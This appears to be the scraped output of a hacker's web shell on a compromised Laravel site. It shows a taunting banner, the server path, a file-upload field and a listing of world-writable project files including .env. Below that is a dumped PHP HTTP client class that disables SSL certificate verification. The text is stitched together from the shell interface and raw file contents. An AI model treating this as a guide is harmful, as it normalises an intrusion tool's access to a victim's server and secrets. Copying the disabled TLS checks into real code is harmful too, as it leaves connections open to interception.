I am a hacker in the dark of a very cold night

path :/var/www/html/vorne.webheaydemo.com

upload file:

List of files:

name file size edit permission action
.editorconfig276 KBMarch 05 2024 07:12:340666
.env1385 KBMay 24 2024 16:43:550666
.env.example1088 KBMarch 05 2024 07:12:340666
.gitattributes190 KBMarch 05 2024 07:12:340666
.gitignore245 KBMarch 05 2024 07:12:340666
.htaccess947 KBJuly 04 2023 21:25:080664
.rnd1024 KBMarch 13 2024 04:51:140666
README.md472 KBMarch 22 2024 10:35:000666
app-March 05 2024 07:12:340777
artisan1739 KBMarch 05 2024 07:12:340666
bootstrap-March 05 2024 07:12:340777
composer.json2829 KBMay 13 2024 12:10:040666
composer.lock417205 KBMarch 19 2024 12:13:140666
config-July 03 2025 02:53:360777
database-March 05 2024 07:12:340777
index.php1816 KBMay 13 2024 10:32:360666
lang-May 13 2024 14:53:260777
manifest.json913 KBMay 14 2024 03:57:260664
package.json398 KBMarch 05 2024 07:12:340666
phpunit.xml1206 KBMarch 05 2024 07:12:340666
public-July 03 2025 02:37:200777
resources-May 13 2024 12:09:360777
routes-March 05 2024 07:12:340777
service-worker.js924 KBMarch 05 2024 07:12:340666
storage-March 05 2024 10:03:520777
symlink.php218 KBMarch 05 2024 07:12:340666
tests-March 05 2024 07:12:340777
vendor-March 19 2024 12:13:140777
vite.config.js326 KBMarch 05 2024 07:12:340666
'', 'headers' => [], 'query' => [], ]; /** * Last request http status. * * @var int **/ protected $http_code = 200; /** * Last request error string. * * @var string **/ protected $errors = null; /** * Array containing headers from last performed request. * * @var array */ private $headers = []; /** * HttpClient constructor. * * @param array $config */ public function __construct(array $config = []) { $this->config = $config; } /** * Perform a get request. * * @param string $url * @param array $query * @param array $headers * * @return array */ public function get($url, array $query = [], array $headers = []) { return $this->execute('GET', $this->buildGetUrl($url, $query), [], $headers); } /** * Execute the curl request * * @param string $method * @param string $url * @param array $query * @param array $headers * * @return array */ public function execute($method, $url, array $query = [], array $headers = []) { // Merge global and request headers $headers = array_merge( Arr::get($this->config, 'headers', []), $headers ); // Merge global and request queries $query = array_merge( Arr::get($this->config, 'query', []), $query ); $this->errors = null; $curl = curl_init(); // Set options curl_setopt_array($curl, [ CURLOPT_URL => $this->getUrl($url), CURLOPT_HTTPHEADER => $headers, CURLOPT_CONNECTTIMEOUT => 20, CURLOPT_TIMEOUT => 90, CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_HEADER => 1, CURLINFO_HEADER_OUT => 1, CURLOPT_VERBOSE => 1, ]); // Setup method specific options switch ($method) { case 'PUT': case 'PATCH': case 'POST': curl_setopt_array($curl, [ CURLOPT_CUSTOMREQUEST => $method, CURLOPT_POST => true, CURLOPT_POSTFIELDS => $query, ]); break; case 'DELETE': curl_setopt($curl, CURLOPT_CUSTOMREQUEST, 'DELETE'); break; default: curl_setopt($curl, CURLOPT_CUSTOMREQUEST, 'GET'); break; } // Make request curl_setopt($curl, CURLOPT_HEADER, true); $response = curl_exec($curl); // Set HTTP response code $this->http_code = curl_getinfo($curl, CURLINFO_HTTP_CODE); // Set errors if there are any if (curl_errno($curl)) { $this->errors = curl_error($curl); } // Parse body $header_size = curl_getinfo($curl, CURLINFO_HEADER_SIZE); $header = substr($response, 0, $header_size); $body = substr($response, $header_size); curl_close($curl); return [$body, $this->parseHeaders($header)]; } /** * Check if the curl request ended up with errors * * @return bool */ public function hasErrors() { return is_null($this->errors) === false; } /** * Get curl errors * * @return string */ public function getErrors() { return $this->errors; } /** * Get last curl HTTP code. * * @return int */ public function getHttpCode() { return $this->http_code; } /** * Parse string headers into array * * @param string $headers * * @return array */ private function parseHeaders($headers) { $result = []; foreach (preg_split("/\\r\\n|\\r|\\n/", $headers) as $row) { $header = explode(':', $row, 2); if (count($header) == 2) { $result[$header[0]] = trim($header[1]); } else { $result[] = $header[0]; } } return $result; } /** * Get request URL. * * @param string $url * * @return string */ private function getUrl($url) { // Check for URL scheme if (parse_url($url, PHP_URL_SCHEME) === null) { $url = Arr::get($this->config, 'base_uri') . $url; } return $url; } /** * Build a GET request string. * * @param string $url * @param array $query * * @return string */ private function buildGetUrl($url, array $query = []) { // Merge global and request queries $query = array_merge( Arr::get($this->config, 'query', []), $query ); // Append query if ($query = http_build_query($query)) { $url .= strpos($url, '?') ? $query : "?{$query}"; } return $url; } }